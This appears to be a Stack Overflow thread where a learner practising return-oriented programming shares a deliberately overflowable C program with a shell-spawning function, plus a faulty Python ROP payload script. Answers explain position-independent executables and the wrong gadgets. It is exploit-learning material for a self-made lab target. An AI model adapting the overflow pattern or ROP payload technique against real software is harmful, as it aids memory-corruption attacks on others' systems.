0

I'm practicing with ROPchain and I have a very simple program, where I'm unable to call the 'vulnerable' function successfully:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

void vuln(int a, int b) {
        if (a == 0xdeadbeef && b == 231) {
                system("/bin/sh\00");
        }
}

int main() {
        char buf[32];
        printf("Input: ");
        fgets(buf, 256, stdin);
        printf("Result: %s", buf);
        return 0;
}

Here's the file info for that binary:

program: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=95e46dcb8715548e3435a24e862efdf1a84c01fd, for GNU/Linux 3.2.0, not stripped

I'm using ROPgadget tool to get pop rsi ; pop r15 ; ret. And here is my exploit:

import struct

junk = 'A' * 32
ebp = 'B' * 8
ret_adr = struct.pack('<Q', 0x0000555555555155) # vuln
pop_rsi = struct.pack('<Q', 0x0000000000001239) # pop rsi ; pop r15 ; ret
arg_1 = struct.pack('<Q', 0xdeadbeef)           # first argument
arg_2 = struct.pack('<Q', 231)                  # second argument

print junk + ebp + pop_rsi + arg_2 + arg_1 + ret_adr

And I'm calling the binary like so:

(python exploit.py; cat) | ./program

It just dies with Segmentation fault. I tried changing the order of arguments as well, but still cannot make it work. What am I doing wrong?

P.S. It works perfectly if there's just 1 argument in that function and when I'm using pop rdi; ret.

Bravi
  • 713
  • 2
  • 8
  • 29
  • 1
    Your executable is position independent and therefore addresses will randomically change every execution. Compile it with `-no-pie -fno-pie` and then take the new address of the function, gadgets and the distance to the return address from the debugger or with objdump. – Marco Bonelli May 24 '20 at 11:51
  • Oh I see.. But how come it works with just 1 argument? i.e. `void vuln(int a)` .. – Bravi May 24 '20 at 11:55
  • I have no idea and cannot tell you why without analyzing and running the exact same program myself. – Marco Bonelli May 24 '20 at 11:59
  • The address of the gadget is also completely wrong, that's not an address, it's an offset from the start of the binary. The registers you pop are also wrong, you want `rdi` and `rsi`, not `rsi` and `r15`. I doubt that could ever work. As I said recompile with those flags, and look for the right gadgets. – Marco Bonelli May 24 '20 at 12:01
  • The reason why I took that gadget, was because there was no `pop rsi; pop rdi; ret` in the gadgets list. There is `pop rdi; ret` and `pop rsi; pop r15; ret`. – Bravi May 24 '20 at 12:06
  • Well.. makes sense, but you have to use them both. The code you show is incorrect in various aspects. – Marco Bonelli May 24 '20 at 12:39
  • So I found the problem with the address - I was using `gdb` to `run` the program and the `disas vuln` to see the address. The address of that function changes to that 5555, after running the program. So I grabbed the correct address and grabbed both gadgets now, but still can't make it work. I'll see if I can find out what's going on now.. – Bravi May 24 '20 at 12:44
  • As I said, recompile with `-no-pie -fno-pie`, otherwise it will never work. You have a [position independent executable](https://stackoverflow.com/questions/2463150/what-is-the-fpie-option-for-position-independent-executables-in-gcc-and-ld), you need to have one that is not. – Marco Bonelli May 24 '20 at 12:46
  • Yeah I did that already. :) I'll try to debug further now. – Bravi May 24 '20 at 12:51
  • @MarcoBonelli that solved my issue. If you want to perhaps post it as an answer, I would accept it. Thank you. – Bravi May 24 '20 at 13:27
  • Sure here you go. – Marco Bonelli May 24 '20 at 13:39

1 Answers1

2

You have a position independent executable, this means that addresses will change at runtime every time. You want an executable that is not PIE, compile with -no-pie -fno-pie, and then get the addresses you want again from the debugger or just with objdump.

Marco Bonelli
  • 63,369
  • 21
  • 118
  • 128